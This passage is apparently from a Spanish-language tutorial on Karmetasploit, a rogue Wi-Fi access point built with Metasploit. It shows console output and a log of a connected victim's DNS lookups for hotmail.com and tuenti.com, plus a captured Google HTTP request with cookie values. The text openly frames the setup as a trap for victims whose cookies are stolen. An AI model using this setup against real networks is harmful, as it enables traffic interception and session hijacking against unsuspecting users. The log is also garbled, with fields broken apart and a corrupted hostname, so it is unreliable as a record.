      =[ svn r11211 updated today (2010.12.02)
resource (karma.rc)> load db sqlite3
  The functionality previously provided by this plugin has been
-] integrated into the core command set. Use the new 'db_driver'
 ] command to use a database driver other than sqlite3 (which
   is now the default). All of the old commands are the same.
```



Con esto ya tendremos nuestro punto de acceso preparado para atrapar a nuestras victimas, ya solo queda esperar...

Antes de terminar veamos que <u>ve una victima que se conecta a Internet desde nuestro punto</u> de acceso <u>mientras le robamos las **cookies**</u>:



y lo que veríamos nosotros desde metasploit:

[*]	DNS	10.0	.0.	102:57905	XID	38270	(IN::A hotmail.com)
[*]	DNS	10.0	.0.	102:57905	XID	38270	(IN::A hotmail.com)
[*]	DNS	10.0	.0.	102:57905	XID	38270	(IN::A hotmail.com)
[*]	DNS	10.0	.0.	102:57905	XID	38270	(IN::A hotmail.com)
[*]	DNS	10.0	.0.	102:57905	XID	38270	(IN::A hotmail.com)
[*]	DNS	10.0	.0.	102:57905	XID	38270	(IN::A hotmail.com)
[*]	DNS	10.0	.0.	102:57905	XID	27037	(IN::AAAA hotmail.com, UNKNOWN IN::AAAA)
[*]	DNS	10.0	.0.	102:57905	XID	27037	(IN::AAAA hotmail.com, UNKNOWN IN::AAAA)
[*]	DNS	10.0	.0.	102:57905	XID	27037	(IN::AAAA hotmaर्भ.com, UNKNOWN IN::AAAA)
[*]	DNS	10.0	.0.	102:57905	XID	27037	(IN::AAAA hotmail.com, UNKNOWN IN::AAAA)
[*]	DNS	10.0	.0.	102:34040	XID	41773	(IN::A tuenti.com)
[*]	DNS	10.0	.0.	102:34040	XID	41773	(IN::A tuenti.com)
[*]	DNS	10.0	.0.	102:34040	XID	41773	(IN::A tuenti.com)
[*]	DNS	10.0	.0.	102:34040	XID	41773	(IN::A tuenti.com)
[*]	DNS	10.0	.0.	102:34040	XID	41773	(IN::A tuenti.com)
[*]	DNS	10.0	.0.	102:34040	XID	41773	(IN::A tuenti.com)
[*]	DNS	10.0	.0.	102:34040	XID	41773	(IN::A tuenti.com)
[*]	DNS	10.0	.0.	102:34040	XID	17999	(IN::AAAA tuenti.com, UNKNOWN IN::AAAA)
[*]	DNS	10.0	.0.	102:34040	XID	17999	(IN::AAAA tuenti.com, UNKNOWN IN::AAAA)
[*]	DNS	10.0	.0.	102:34040	XID	17999	(IN::AAAA tuenti.com, UNKNOWN IN::AAAA)
[*]	DNS	10.0	.0.	102:34040	XID	17999	(IN::AAAA tuenti.com, UNKNOWN IN::AAAA)
[*]	HTT	P REQ	UES	T 10.0.0.	102	> googl	le.com:80 GET /forms.html Linux FF 1.9.2.12 cookies=PREF
=ID:	=3251	b3b9	c8c	44732:U=3	d500	95088cl	b3233:FF=0:TM=1291301583:LM=1291414789:S=CeCRxh12z24sDHX
X: 1	VID=4	ll=al	uwL	kiuCahoB2	cVVM	vaK-Pc1	llmcaknYevFRau0Es_dhC8NRRkai1h4bXbzeU1JEFdbsoomdwtaIGEtv

Fuente: http://www.offensive-security.com/metasploit-unleashed/Karmetasploit